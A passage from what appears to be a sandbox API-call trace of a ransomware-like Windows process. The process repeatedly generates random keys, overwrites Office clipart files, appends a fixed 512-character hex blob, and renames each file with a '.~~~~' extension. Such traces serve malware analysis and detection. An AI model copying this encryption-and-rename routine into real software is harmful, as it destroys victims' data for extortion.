	[0099.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385d90
	[0099.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.139] GetLastError () returned 0x0
	[0099.139] GetLastError () returned 0x0
	[0099.139] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.139] GetLastError () returned 0x0
	[0099.139] GetLastError () returned 0x0
	[0099.189] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffded2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.190] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x212e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x212e, lpOverlapped=0x0) returned 1
	[0099.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.193] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.193] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.193] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.193] CloseHandle (hObject=0xc4) returned 1
	[0099.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.~~~~")) returned 1
	[0099.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.225] GetLastError () returned 0x0
	[0099.225] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.226] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.226] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.233] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21922331419) returned 1
	[0099.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4d72ff0, dwHighDateTime=0x1d60e1e)) 
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2838
	[0099.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2838 | out: hHeap=0x300000) returned 1
	[0099.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28606d8
	[0099.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.234] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.234] GetLastError () returned 0x0
	[0099.234] GetLastError () returned 0x0
	[0099.234] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.234] GetLastError () returned 0x0
	[0099.234] GetLastError () returned 0x0
	[0099.313] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffcbe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.314] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3418, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x3418, lpOverlapped=0x0) returned 1
	[0099.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.318] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.319] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.319] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.319] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.319] CloseHandle (hObject=0x120) returned 1
	[0099.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.~~~~")) returned 1
	[0099.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.320] GetLastError () returned 0x0
	[0099.321] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.322] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.322] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.322] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21931239534) returned 1
	[0099.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4e57830, dwHighDateTime=0x1d60e1e)) 
	[0099.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9848
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860770
	[0099.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.323] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.323] GetLastError () returned 0x0
	[0099.324] GetLastError () returned 0x0
	[0099.324] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.324] GetLastError () returned 0x0
	[0099.324] GetLastError () returned 0x0
	[0099.357] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd580, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.357] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x2a80, lpOverlapped=0x0) returned 1
	[0099.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.358] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.358] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.358] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.358] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.359] CloseHandle (hObject=0x120) returned 1
	[0099.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.~~~~")) returned 1
	[0099.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.360] GetLastError () returned 0x0
	[0099.361] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.363] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.363] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.363] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21935298872) returned 1
	[0099.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa4ea3af0, dwHighDateTime=0x1d60e1e)) 
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc78
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0099.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860c30
	[0099.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.364] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.364] GetLastError () returned 0x0
	[0099.364] GetLastError () returned 0x0
	[0099.364] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.364] GetLastError () returned 0x0
	[0099.364] GetLastError () returned 0x0
	[0099.624] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd54c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.625] WriteFile (in: hFile=0x120, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2ab4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2ab4, lpOverlapped=0x0) returned 1
	[0099.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.626] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.626] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.626] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.626] CloseHandle (hObject=0x120) returned 1
	[0099.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.~~~~")) returned 1
	[0099.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0099.627] GetLastError () returned 0x0
	[0099.964] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0099.965] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.965] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0099.966] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21995574420) returned 1
	[0099.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5471090, dwHighDateTime=0x1d60e1e)) 
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862608
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862608 | out: hHeap=0x300000) returned 1
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861a70
	[0099.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.966] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0099.966] GetLastError () returned 0x0
	[0099.967] GetLastError () returned 0x0
	[0099.967] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0099.967] GetLastError () returned 0x0
	[0099.967] GetLastError () returned 0x0
	[0099.998] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffb48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.998] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x24dfec0*=0x4b8, lpOverlapped=0x0) returned 1
	[0099.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.998] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.999] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.999] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.999] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.999] CloseHandle (hObject=0x120) returned 1
	[0099.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.999] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.~~~~")) returned 1
	[0100.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.000] GetLastError () returned 0x0
	[0100.001] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.002] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.002] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.002] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21999191789) returned 1
	[0100.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa54bd350, dwHighDateTime=0x1d60e1e)) 
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28626b0
	[0100.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
